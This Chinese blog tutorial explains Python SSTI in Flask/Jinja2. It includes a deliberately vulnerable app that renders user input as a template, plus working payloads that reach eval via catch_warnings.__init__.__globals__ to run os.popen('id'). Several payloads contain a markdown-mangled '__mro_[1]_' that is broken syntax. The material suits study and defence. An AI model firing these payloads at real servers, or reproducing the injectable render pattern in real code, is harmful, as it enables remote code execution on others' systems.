Sud0G
Sud0G
发布于 2024-07-13 / 40 阅读
0
0

Python中的ssti模板注入

前置知识

class

class是类的一个内置属性, 用来获取类的类型, 作用相当于type.

>>> "a".__class__
<class 'str'>
>>> type("a")
<class 'str'>

base和__bases__

他们用来获取类的直接父类

不同的是: base只能获取一个直接父类, bases获取所有直接父类

class A:
    pass

class B(A):
    pass

print(B.__base__)
# 输出:<class '__main__.A'>


class A:
    pass

class B:
    pass

class C(A, B):
    pass

print(C.__bases__)  
# 输出:(<class '__main__.A'>, <class '__main__.B'>)

subclasses()

用来查看类的直接子类

class base1:
    pass

class base2:
    pass

class A(base1, base2):
    pass

class B(base1):
    pass

class C(base2):
    pass

class D(A):
    pass

print(base1.__subclasses__())
#输出 [<class '__main__.A'>, <class '__main__.B'>]

name

用来获取类的名称

class base1:
    pass

class base2:
    pass

class A(base1, base2):
    pass

print(A.__class__.__name__)
#输出 type

globals

所有的函数都会有一个__globals__属性他返回函数所在模块命名空间中所有变量(返回一个字典)

def flag():
    secret = "flag{this_is_a_secret}"

class Test:
    def a(self):
        pass

b = "flag{this_is_a_secret}"
print(flag.__globals__)
# 输出
#{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x000001CF40AE5AD0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'D:\\data\\python_data\\pythonProject\\test\\test.py', '__cached__': None,
# 'flag': <function flag at 0x000001CF62087E20>, 'Test': <class '__main__.Test'>, 'b': 'flag{this_is_a_secret}'}

mro

用于查看类的继承顺序

class base:
    pass

class A(base):
    pass

a = A()
print(a.__class__.mro())
# 输出 [<class '__main__.A'>, <class '__main__.base'>, <class 'object'>]

Flask SSTI常见的Payload分析

源码

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)


@app.route("/")
def index():
    # 从请求参数中获取名为"name"的值,如果不存在则默认为"guest"
    name = request.args.get("name", "guest")
    # 初始化模板,将获取到的姓名或默认姓名插入到模板中
    t = Template("Hello " + name)
    # 渲染模板并返回
    return t.render()


if __name__ == "__main__":
    app.run(debug=True)

payload1:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

payload2

{% for c in [].__class__.__mro_[1]_.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

测试流程

首先得到类名

{% for c in [].__class__.__base__.__subclasses__() %}
{{c.__name__}}.<br>
{% endfor %}

下面查找你想找的域名空间的相关信息:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {{ c.__init__.__globals__.values() }}
{% endif %}
{% endfor %}

接下来就是找到类型为字典的变量

{% for c in [].__class__.__mro_[1]_.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
    {% if b.__class__ == {}.__class__ %}
      {{}}
    {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

检查字典中是否有eval键,并利用eval执行恶意代码

{% for c in [].__class__.__mro_[1]_.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

完整流程总结

  1. 获取所有子类列表。

  2. 找到名为 catch_warnings 的子类。

  3. 获取该类的 init 方法的全局变量。

  4. 从中找到字典类型的变量。

  5. 检查这些字典是否包含 eval 键。

  6. 使用 eval 键执行任意代码。


评论